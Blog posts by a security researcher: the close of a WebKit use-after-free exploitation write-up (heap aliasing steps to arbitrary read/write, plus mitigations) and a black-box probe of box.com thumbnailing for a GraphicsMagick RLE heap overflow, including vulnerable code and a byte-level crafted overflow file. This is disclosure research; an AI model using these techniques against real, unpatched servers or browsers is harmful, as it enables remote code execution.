<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">There are some similarities but It takes a different path and also achieves reliable code execution. This is perhaps a testament to the quality of the vulnerability. Briefly, this alternate exploit works like this:</span></div>
<b style="font-weight: normal;"><br /></b>
<ol style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Use a simpler way to leak the pointer values from the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayStorage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> header, by directly reading double values in the sort callback. These double values are converted to raw bytes using the JavaScript </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">DataView</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Use the aliasing primitive previously described to alias a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Uint8Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buffer with an </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayStorage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Add some spare keys to the aliased </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ArrayStorage</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object, causing the allocation of the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">m_sparseValueMap</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> pointer, pointing to a 20 byte </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">HashMap</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Read the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">m_sparseValueMap</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> pointer and use the previously described freeing primitive to free it.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Allocate a 24 byte </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Uint32Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> backing buffer. The 24 byte backing buffer goes in the hole we just freed.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Free the same address again, freeing the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Uint32Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> backing buffer.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Allocate another 4 byte </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Uint32Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. The 24 byte </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Uint32Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> metadata object will go into the hole we just freed.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We have now aliased a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Uint32Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> backing buffer with a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Uint32Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> metadata object. Proceeding from here is simple because we can read the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Uint32Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> vtable and also change the backing buffer pointer and length to read / write arbitrary memory.</span></div>
</li>
</ol>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The main quirk here enabling this alternate and slightly simpler exploit on 32-bit is the observation that on 32-bit, </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sizeof(WTF::HashMap) == 20</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sizeof(WebCore::Uint32Array) == 24</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Due to the 8 byte granularity of small </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">fastMalloc()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> buckets, these two different objects occupy the same heap bucket size of 24.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Browser defenses</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The astute reader will note that </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">any</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> use-after-free in WebKit might be subject to the same exploitation technique in JavaScript: allocate a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Uint32Array</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> backing buffer into the freed hole and then enjoy a wide variety of side effects. This is definitely a concern! And it also illustrates the power and possibilities of the use-after-free vulnerability class. Using this technique, the attacker gets to choose arbitrary bytes for every field in the object that is being used after free. The attacker can pick an arbitrary vtable (call-after-use-after-free), arbitrary flags / arbitrary length (read-after-use-after-free), fake arbitrary object pointers (call or read or write-after-use-after-free), etc. If the code paths available to the attacker include write-after-use-after-free, the attacker might well be able to access information leaks, or perform precision corruption of other similarly sized object types.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Perhaps this primitive is too powerful to leave unmitigated? It is. So, some time ago, I broke this primitive in Google Chrome, by </span><a href="https://bugs.chromium.org/p/chromium/issues/detail?id=267094" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">placing ArrayBuffer backing buffers into their own heap partition</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This should ensure that when a use-after-free vulnerability triggers, it is not possible to place an ArrayBuffer backing buffer into the freed hole. There are other object types that might offer similar attacker control of content (strings, etc.) and various related changes also applied partitioning to these and other objects. The goal is that with the partitioning present in Google Chrome, the attacker has less control over the aliased bytes used by code after a use-after-free condition.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">It might also be tempting to declare war on allocator determinism. After all, it makes things simple if the most recently freed chunk is the first to be handed out. And indeed there are various schemes popping up to reduce freelist determinism, such as </span><a href="https://outflux.net/blog/archives/2016/10/03/security-things-in-linux-v4-7/" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">freelist randomization in the Linux kernel</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. I’m not actually a fan of these schemes for most exploitation contexts. If the attacker is running some form of “script”, such as JavaScript in a browser, or a user space program on Linux, they can just allocate multiple objects to achieve the same desired effect.</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Conclusions</span></div>
<b style="font-weight: normal;"><br /></b>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">I think that use-after-invalidation and use-after-free are wonderful and maybe underappreciated vulnerability classes. Perhaps after reading this post, you concur? We selected a suitably interesting and powerful vulnerability and demonstrated a large range of reliable, controllable and powerful side effects.</span></div>
<br />Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com5tag:blogger.com,1999:blog-3024470480937744884.post-42662267795108294882017-03-29T21:28:00.000-07:002017-03-29T21:28:02.043-07:00Black box discovery of memory corruption RCE on box.com<b>Overview</b><br />
<br />
Robust evidence existed for the presence of a memory corruption based RCE (remote code execution) on <a href="https://box.com/">box.com</a> servers. The most likely explanation for the evidence presented is the usage of an old <a href="https://www.imagemagick.org/">ImageMagick</a> which has known vulnerabilities, combined with lack of configuration lockdown. It's hard to be sure, though: see the section on the Box response below.<br />
<br />
This blog post explores a different angle to vulnerability research from my normal work. We'll look at how to try and reliably determine the presence or absence of a known server-side memory corruption vulnerability using strictly black box techniques. Black box testing can be fun, because it's very scientific: come up with a hypothesis, devise an experiment, see if the results make sense.<br />
<br />
<b>Side notes: box.com security and response</b><br />
<br />
I had a sufficiently unusual experience talking to Box that it's worth a few dedicated notes. I found the experience good in place and awful in others.<br />
<br />
<u>The good</u>: the three issues I reported all appeared to get fixed reasonably quickly, including one that was not a simple fix.<br />
<br />
<u>The awful</u>: communications were painful, as if they were filtered through a gaggle of PR representatives and an encumbrance of lawyers. The current status is that I believe the issues are fixed -- again via black box testing, but no-one has really confirmed the issues existed in the first place. All I have is some language that says everything is fine and that the security posture was improved, without saying if my reports were accurate or rejected. Being slippery in researcher communications is not the way to build trust in your security program. I also note that Box is behind vs. its competitors due to the lack of a bug bounty program. To avoid a train wreck, open and honest researcher communications need to be addressed prior to the launch of such a program.<br />
<br />
It's worth noting that I had an interaction with DropBox for similar reasons, at about the same time (separate blog post pending). The experience could not have been more different! DropBox were friendly, competent and forthcoming. Maybe that's where you want to store your files instead of Box, if security is a priority.<br />
<br />
<b>An inaccurate fingerprint</b><br />
<br />
The target of this investigation is image thumbnailing. Online file storage services like Box, DropBox, Google Drive etc. typically support displaying of image thumbnails in the file list and also a preview window. In order to fingerprint the software used, we need to upload a diverse set of files and see if we find any behavioral clues.<br />
<br />
In order to "trick" the thumbnailing process into revealing its full capabilities, we use a simple trick of taking unusual file types and renaming them to <whatever>.png. Often, the thumbnailing process only cares that it thinks it sees a known file extension and then it will stuff the bytes into some process that ignores the file extension and uses header sniffing to work out what to really do.</whatever><br />
<br />
Very quickly, I found that Box will thumbnail tons of weird and wacky formats. Including the following, and bonus points if you've heard of any: CIN, RLE, MAT, PICT. The list would have probably gone on but when you see a list like that it usually means one of two things.... ImageMagick or GraphicsMagick.<br />
<br />
I noticed that a particular CIN file from the GraphicsMagick test set (<a href="https://security.appspot.com/security/cin/input_rgb.cin">input_rgb.cin</a>) rendered very differently in my local installs of GraphicsMagick and ImageMagick. In this image below are renderings of the same CIN input file by GraphicsMagick-1.3.23 and ImageMagick-6.8.9. As you can see, GraphicsMagick renders with more extreme contrast.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilOID8HFD-36OT1lj-79FtT9WROhZCWMRS7D5woQZGaZMvJgfMCj33En6E_CiYN2yK7WNv8QYvH3d4Z5iagT_-2CnNMhiAqDykwseX60J_2jYtEmcG_nbQKJCc4IOmdSNwa9vIXf2tyuy_/s1600/dual_cin.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilOID8HFD-36OT1lj-79FtT9WROhZCWMRS7D5woQZGaZMvJgfMCj33En6E_CiYN2yK7WNv8QYvH3d4Z5iagT_-2CnNMhiAqDykwseX60J_2jYtEmcG_nbQKJCc4IOmdSNwa9vIXf2tyuy_/s1600/dual_cin.png" /></a></div>
Unfortunately, I inaccurately decided Box was using GraphicsMagick because the Box thumbnail looked more like the image on the left. This was a very lax determination because there's a lot of color variation depending on the software versions and also the tool and options used to produce or view the thumbnail. We'll correct the mistake later on in this post.<br />
<br />
<b>The vulnerability</b><br />
<br />
Under the false belief that GraphicsMagick was in use, I had a look at recently fixed vulnerabilities in GraphicsMagick. The <a href="http://www.graphicsmagick.org/NEWS.html#may-30-2016">v1.3.24 release notes</a> looked promising (May 2016), because they reference a lot of memory corruption fixes. In addition, my Ubuntu 16.04 LTS has v1.3.23, making testing easy. After a bit of consideration, <a href="http://hg.code.sf.net/p/graphicsmagick/code/diff/c6a6ea253a35/coders/rle.c">this GraphicsMagick patch</a> represented a good candidate for exploration. It's a fairly straightforward buffer overflow in the RLE decoder, with good control.<br />
<br />
The overflow occurs because of a missed validation on the number of planes (where RGB would be 3 planes, for example) in the canvas allocation vs. the plane number requested to be written in the RLE decode protocol:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;"> number_pixels=image->columns*image->rows;</span><br />
<span style="font-family: Courier New, Courier, monospace;">...</span><br />
<span style="font-family: Courier New, Courier, monospace;"> rle_pixels=MagickAllocateArray(unsigned char *,number_pixels,</span><br />
<span style="font-family: Courier New, Courier, monospace;"> Max(number_planes,4));</span><br />
<span style="font-family: Courier New, Courier, monospace;">...</span><br />
<span style="font-family: Courier New, Courier, monospace;"> case SetColorOp:</span><br />
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> operand=ReadBlobByte(image);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">...</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> // plane is attacker controlled.</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> plane=(unsigned char) operand;</span></div>
</div>
<div>
<span style="font-family: Courier New, Courier, monospace;">...</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> case RunDataOp:</span></div>
<span style="font-family: Courier New, Courier, monospace;">...</span><br />
<span style="font-family: Courier New, Courier, monospace;"> // x, y and plane are attacker controlled. plane is not validated.</span><br />
<span style="font-family: Courier New, Courier, monospace;"> p=rle_pixels+((image->rows-y-1)*image->columns*number_planes)+</span><br />
<span style="font-family: Courier New, Courier, monospace;"> x*number_planes+plane;</span><br />
<span style="font-family: Courier New, Courier, monospace;"> for (i=0; i < (unsigned int) operand; i++)</span><br />
<span style="font-family: Courier New, Courier, monospace;"> {</span><br />
<span style="font-family: Courier New, Courier, monospace;"> if ((y < image->rows) && ((x+i) < image->columns))</span><br />
<span style="font-family: Courier New, Courier, monospace;"> *p=pixel;</span><br />
<span style="font-family: Courier New, Courier, monospace;"> p+=number_planes;</span><br />
<span style="font-family: Courier New, Courier, monospace;"> }</span><br />
<br />
Side note: this is a really unusual image format, the Utah Raster Toolkit RLE (run length encoded) format. Here is a <a href="http://www.cs.utah.edu/gdc/projects/urt/">link to the home page</a>, complete with 1990's look. And yes, I did download the original toolkit, apply both patches, and quickly read it for the presence of the same vulnerabilities. It does appear to have them. This software was written in the _1980_'s, so not really reasonable to expect otherwise. Since I'm not sure I ever found a security bug still live from the 80's, might as well assign: CESA-2017-0001.<br />
<br />
<b>The oracle</b><br />
<br />
In security, an oracle is simply a measurable result that gives the attacker some useful information. For our oracle, we're simply going to use this: "did the uploaded image thumbnail successfully or not".<br />
<br />
There are of course multiple reasons why an image thumbnail might fail. The image might simply not pass a validity check, or the image might cause a SEGV in some backend. Ideally, a backend SEGV would be indicated back to us via a different oracle (perhaps a 50x error code from the HTTP request for the thumbnail). Unfortunately, testing eventually showed that a failed thumbnail, for <i>any</i> reason, manifests to us as:<br />
<br />
<ul>
<li>Multiple requests to https://app.box.com/i/f_153109389238/thumbnailURLs over a period of time, leading to a long pause in the UX (throbbing icon) even though this is a "fail fast" case.</li>
<li>HTTP response codes of 200 OK.</li>
</ul>
<br />
<b>Starting to construct a proof of vulnerability</b><br />
<br />
To show we're on the right track, we're going to try and build an input file that will thumbnail successfully with the vulnerable code, and fail if the fix is in place. Ideally, the failure will be because of a deterministic check and not a memory corruption failure (which is not particularly deterministic from our vantage point). Let's look at the fixed code:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;"> p=rle_pixels+((image->rows-y-1)*image->columns*number_planes)+</span><br />
<span style="font-family: Courier New, Courier, monospace;"> x*number_planes+plane;</span><br />
<span style="font-family: Courier New, Courier, monospace;"> for (i=0; i < (unsigned int) operand; i++)</span><br />
<span style="font-family: Courier New, Courier, monospace;"> {</span><br />
<span style="font-family: Courier New, Courier, monospace;"> if ((p >= rle_pixels) && (p < rle_pixels+rle_bytes))</span><br />
<span style="font-family: Courier New, Courier, monospace;"> *p=pixel;</span><br />
<span style="font-family: Courier New, Courier, monospace;"> else</span><br />
<span style="font-family: "Courier New", Courier, monospace;"> ThrowRLEReaderException(CorruptImageError,UnableToRunlengthDecodeImage,image);</span><br />
<span style="font-family: Courier New, Courier, monospace;"> p+=number_planes;</span><br />
<div>
<br /></div>
As it turns out, there is a subtle difference here that we can use. The vulnerable code lets the <span style="font-family: Courier New, Courier, monospace;">p</span> pointer go out of bounds, but stops writing if <span style="font-family: Courier New, Courier, monospace;">x</span> or <span style="font-family: Courier New, Courier, monospace;">y</span> go out of bounds. The fixed code bails immediately if <span style="font-family: Courier New, Courier, monospace;">p</span> goes out of bounds. So we can simply make an image that has a small number of pixels (say, 16x1), and then request a large RLE pixel run (say, 0xff). The vulnerable code will accept this, and clamp the out of bounds values. This is not a case where the vulnerable code will corrupt memory, but it is a case where the vulnerable code will exhibit different behavior. The fixed code will reject this case.<br />
<br />
<u>File</u>: <a href="https://security.appspot.com/security/rle/gm_intra_oflow_1_3_23.rle">gm_intra_oflow_1_3_23.rle</a><br />
<u>Notes</u>: as a bonus, this file also uses an out-of-bounds plane value. The value is chosen such that any validation would reject it, and also that the out-of-bounds behavior it causes will still remain within the bounds of the pixel buffer.<br />
<u>Result</u>: thumbnailed successfully on Box. Thumbnailed successfully on Ubuntu 16.04's v1.3.23. Fails on v1.3.25. Fails on Ubuntu's ImageMagick v6.8.9.<br />
<br />
This is fairly compelling evidence already. For our next test, we could proceed to try and cause a crash via any old heap overflow... but this is not going to be reliable. A crash vs. non crash is going to depend on heap state, which in turn will depend on versions of GraphicsMagick, versions of libc, versions of everything.<br />
<br />
<b>A deterministic heap overflow crash</b><br />
<br />
To proceed, we're going to assume that Linux x64 and glibc <span style="font-family: Courier New, Courier, monospace;">malloc()</span> might be in use on the backend, and use a quirk of this combination: allocations larger than a certain size (often 128kB or so) are allocated using <span style="font-family: Courier New, Courier, monospace;">mmap()</span>. This will provide 4096 byte alignment and size. We can then calculate the size of any mapping created by our input file, and play tricks like writing a single byte past the end. This will either hit the adjacent mapping (may or may not crash depending on writability) or no mapping (crash). Our first attempt is: <a href="https://security.appspot.com/security/rle/gm_oflow_mmap_chunk.rle">gm_oflow_mmap_chunk.rle</a>, which tries to write off the end of a large allocation. It's only 24 bytes so let's look at it in its entirety:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDwefCDCpjAw3u6wbm6GZpQNkKSDFr5N9rpt3sj7YOuP2aLUZfHcxhTFU5CVbdaIj-Vs5sA8rXS9Na5r3NslxIDzlkh-78gw6W0sDrDtx8YT6NHzChQuJr80kZ4vHYqZRHOUuZhPRWqtaJ/s1600/gm_oflow_ss.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDwefCDCpjAw3u6wbm6GZpQNkKSDFr5N9rpt3sj7YOuP2aLUZfHcxhTFU5CVbdaIj-Vs5sA8rXS9Na5r3NslxIDzlkh-78gw6W0sDrDtx8YT6NHzChQuJr80kZ4vHYqZRHOUuZhPRWqtaJ/s1600/gm_oflow_ss.png" /></a></div>
<br />
This parses as follows:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">52 CC: header</span><br />
<span style="font-family: Courier New, Courier, monospace;">00 00 00 00: top, left at 0x0.</span><br />
<span style="font-family: Courier New, Courier, monospace;">fc 00 04 01: image dimensions 252 x 260</span><br />
<span style="font-family: Courier New, Courier, monospace;">02: flags 0x02</span><br />
<span style="font-family: Courier New, Courier, monospace;">04: 4 planes (e.g. RGBA)</span><br />
<span style="font-family: Courier New, Courier, monospace;">08: 8 bits per sample</span><br />
<span style="font-family: Courier New, Courier, monospace;">00 00 00 00: no color maps, 0 colormap length, padding, padding</span><br />
<span style="font-family: Courier New, Courier, monospace;">02 fe: set the plane value to 0xfe</span><br />
<span style="font-family: Courier New, Courier, monospace;">06 ff 41 00: write 0xff pixels of value 0x41</span><br />
<span style="font-family: Courier New, Courier, monospace;">07: end of image</span><br />
<br />
<u>Result</u>: no crash on my local GraphicsMagick v1.3.23.<br />
<br />
We were expecting a crash, so let's look at what happened. valgrind certainly sees the problem, it reports "Invalid write of size 1... 2 bytes after a block of size 262,080". In the debugger, we can confirm the out of bounds write, which happens to cross over into the adjacent mmap chunk which of course happens to be writable (otherwise we would have received a crash). Here are the mappings in question:<br />
<br />
